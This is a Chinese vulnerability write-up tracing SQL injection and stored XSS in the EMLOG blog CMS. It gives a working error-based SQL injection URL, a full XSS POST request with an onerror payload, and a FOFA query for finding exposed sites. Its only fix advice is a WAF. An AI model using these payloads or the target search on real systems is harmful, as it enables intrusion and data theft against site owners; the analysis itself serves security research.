【代码审计】Emlog存在SQL注入+XSS漏洞
1.源码简介
EMLOG 是一款轻量级开源博客和CMS建站系统,速度快、省资源、易上手,适合各种规模的站点搭建。
2.漏洞描述
EMLOG $keyword参数存在SQL注入漏洞。
EMLOG article.php文件active_post参数存在XSS漏洞
3.影响范围
EMLOG <=2.7版本
FOFA:a
App="EMLOG"&&is_domain=true&&country="CN"
危害级别:高
4.代码审计过程
一、SQL注入漏洞分析过程
1、首先打开emlog_pro_2.5.7\admin\media.php文件,$keyword参数由此传入。在media.php中,keyword参数通过Input::getStrVar('keyword')获取。
如下图:

2、接着,这个参数被传递到Media_Model的getMedias和getMediaCount方法中如下图

3、在Media_Model类的getMedias方法里,构造SQL查询时,直接使用了$keyword变量,并将其拼接到SQL语句中。具体代码行是:emlog_pro_2.5.7\include\model\media_model.php第29行,如图

4、这里明显没有对$keyword进行任何过滤或转义处理,直接将其插入到SQL语句中。

二、XSS分析过程
1、漏洞点在emlog_pro_2.5.7\admin\articel_save.php文件,第45-50行。当$auto_excerpt为'y'时,代码使用Parsedown解析Markdown内容生成HTML摘要。若原始内容包含恶意HTML(如),转换后的HTML会被直接存储。若前端未转义摘要内容,将触发XSS。

2、跟进extractHtmlData方法未作相关过滤

3、接着$excerpt,赋值给$logData

4、最后在articel_save.php文件,第89行通过doMultiAction保存

5、跟进doMultiAction,通过钩子直接保存数据

综上若原始内容包含恶意HTML(如),转换后的HTML会被直接存储。若前端未转义摘要内容,将触发XSS。
4. 搭建环境进行验证:
Apache.2.4.39
MySql5.7.26
Php5.6.9

安装:先在msyql创建emlog数据库再访问web安装即可
1、sql注入验证:
http://127.0.0.1:8099/index.php?keyword=%2527 AND updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520

2、xss验证:
POST /emlog_pro_2.5.7/admin/article_save.php HTTP/1.1
Host: 192.168.17.103
Content-Length: 1796
Cache-Control: max-age=0
Origin: http://192.168.17.103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7dLxxHHoddxnJMVB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.17.103/emlog_pro_2.5.7/admin/article.php?action=edit&gid=2
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_948dba1e5d873b9c1f1c77078c521c89=1744352762; tw_comment_author=1; tk_ai=1%2BA2fri83NiO%2FIPjMIdteEBR; PHPSESSID=24fggvmjq26us7riv236npp743; EM_AUTHCOOKIE_O5MScKeTFAaXFCEtXoNG5gLYyH9s5X4Y=admin%7C0%7Cd6687300a74ea0f8afb2e7164704c7cb; em_saveLastTime=1745478698706
Connection: keep-alive
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="title"
111
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="logcontent"
body"><img src="xss" onerror="alert(/111111111111111/)">
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="logexcerpt"
1111
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="ishide"
n
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="as_logid"
2
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="gid"
2
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="author"
1
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="cover"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="upload_img"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="sort"
-1
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="tag"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="postdate"
2025-04-24 14:37:07
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="allow_remark"
y
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="alias"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="link"
------WebKitFormBoundary7dLxxHHoddxnJMVB
Content-Disposition: form-data; name="password"
------WebKitFormBoundary7dLxxHHoddxnJMVB--
- nuclei检测脚本:
公众号回复Emlog获取检测脚本和源代码

6.修复建议
建议使用专门的 Web 应用程序防火墙(WAF)来检测和防止 SQL 注入攻击。WAF 可以提供更强大的安全性,包括自定义规则、恶意模式检测和更高级的防护。
【代码审计】Emlog存在SQL注入+XSS漏洞的更多相关文章
- Web安全Day1 - SQL注入、漏洞类型
Web安全Day1 - SQL注入.漏洞类型 1. SQL注入 1.1 漏洞简介 1.2 漏洞原理 1.3 漏洞危害 2. SQL漏洞类型 2.1 区分数字和字符串 2.2 内联SQL注入 2.3 报 ...
- SpringCloud微服务实战——搭建企业级开发框架(五十一):微服务安全加固—自定义Gateway拦截器实现防止SQL注入/XSS攻击
SQL注入是常见的系统安全问题之一,用户通过特定方式向系统发送SQL脚本,可直接自定义操作系统数据库,如果系统没有对SQL注入进行拦截,那么用户甚至可以直接对数据库进行增删改查等操作. XSS ...
- 2020/1/27代码审计学习之SQL注入漏洞
PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...
- php代码审计3审计sql注入漏洞
SQL注入攻击(sql injection)被广泛用于非法获取网站控制权,在设计程序时,忽略或过度任性用户的输入,从而使数据库受到攻击,可能导致数据被窃取,更改,删除以及导致服务器被嵌入后门程序等 s ...
- php代码审计--sql注入
sql注入是web安全中最常见,也是平常中危害最大的漏洞. 最近在学习代码审计,拿自己审核的一段代码做个笔记. 1.sql语句拼接可能引起sql注入 很多偷懒的程序员对于没有过滤的参数,直接将其拼接到 ...
- Java代码审计连载之—SQL注入
前言近日闲来无事,快两年都没怎么写代码了,打算写几行代码,做代码审计一年了,每天看代码都好几万行,突然发现自己都不会写代码了,真是很DT.想当初入门代码审计的时候真是非常难,网上几乎找不到什么java ...
- 代码审计中的SQL注入
0x00 背景 SQL注入是一种常见Web漏洞,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.本文以代码审计的形式研 ...
- 梨子带你刷burp练兵场(burp Academy) - 服务端篇 - Sql注入配套漏洞讲解笔记
目录 Sql注入 什么是Sql注入呢? Sql注入有哪些例子? 检索隐藏数据 打破应用逻辑 利用Union进行跨库查询 如何确定利用Union的注入攻击所需的列数呢? 如何确定Union的查询结果中哪 ...
- 齐博cms最新SQL注入网站漏洞 可远程执行代码提权
齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...
- DWVA-关于SQL注入的漏洞详解
low等级 代码如下: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // ...
随机推荐
- 目前get到最好用的内网穿透软件
官网:https://www.natfrp.com/ 软件名称:SakuraLauncher 不花钱可以获取到两个隧道,如果不想花钱的话,每天签到领流量即可 之前用过cpolar,飞鸽,ngrok,但 ...
- linux mint安装hadoop
一.安装 安装ssh openssh-server 配置jdk环境变量~/.bashrc参考 export JAVA_HOME=/opt/jdk1.7.0_55/ export JRE_HOME= ...
- dbeaver软件使用问题
一.dbeaver导出数据表到csv后数据乱码 按如下方式导出即可 勾选插入BOM即可 Excel在读取csv的时候是通过读取文件头上的bom来识别编码的,如果文件头无bom信息,则默认按照unico ...
- docker官网镜像无法下载问题解决
亲测可用,这个方法是由技术爬爬虾大佬提供,简单地说就是通过github上的docker_image_pusher项目,将国外docker镜像转存到阿里云私人仓库. 此方法需要你有一个github账号, ...
- 运行jar包时,在命令行中指定依赖的jar包和主类
在一次实验过程中,使用maven打包java项目为jar包,打出来的myexp.jar包只有7KB(我的实验项目正常打出来的包不小于60MB).这时,运行java -jar myexp.jar报错&q ...
- FreeSql学习笔记——8.数据返回类型
前言 FreeSql数据返回格式比较丰富,包括单条.列表.导航属性数据.指定字段.Dto等:可以有效的减少代码量,减少字段复制等操作: 前面的查询已经用到了日常基本需要用到的数据格式,本篇是常 ...
- DeepSeek+AnythingLLM,搭建本地AI知识库,真的太香了!三分钟搞定智能助手,小白也能轻松上手!
1. 痛点暴击:你的知识管理还在原始时代吗? 你是否每次查找文档翻遍文件夹,会议纪要总在关键时刻"失踪"? 别慌!今天揭秘一个"真香"组合--DeepSeek+ ...
- [HDU5603] the soldier of love 题解
考虑到正向求解困难,于是正难则反. 那么实际上对于 \(a_i\) 和 \(a_{i+1}\) 来说,它们给答案的贡献就是满足 \(l_j>a_i,r_j<a_{i+1}\) 的区间数量. ...
- 2024年最新iOS 17屏蔽系统更新方法,iPhone、iPad通用!
到Safari浏览器打开,描述文件会自动安装进手机里. 这时候我们在设置里,找到设备管理,点击刚刚下载好的描述文件,进行安装.要注意看,有苹果的签名,才说明是官方出品,千万要注意哦!安装完成后,重启手 ...
- 推荐一款最新开源,基于AI人工智能UI自动化测试工具!支持自然语言编写脚本!
随着互联网技术的飞速发展,Web应用越来越普及,前端页面也越来越复杂.为了确保产品质量,UI自动化测试成为了开发过程中不可或缺的一环.然而,传统的UI自动化测试工具往往存在学习成本高.维护困难等问题. ...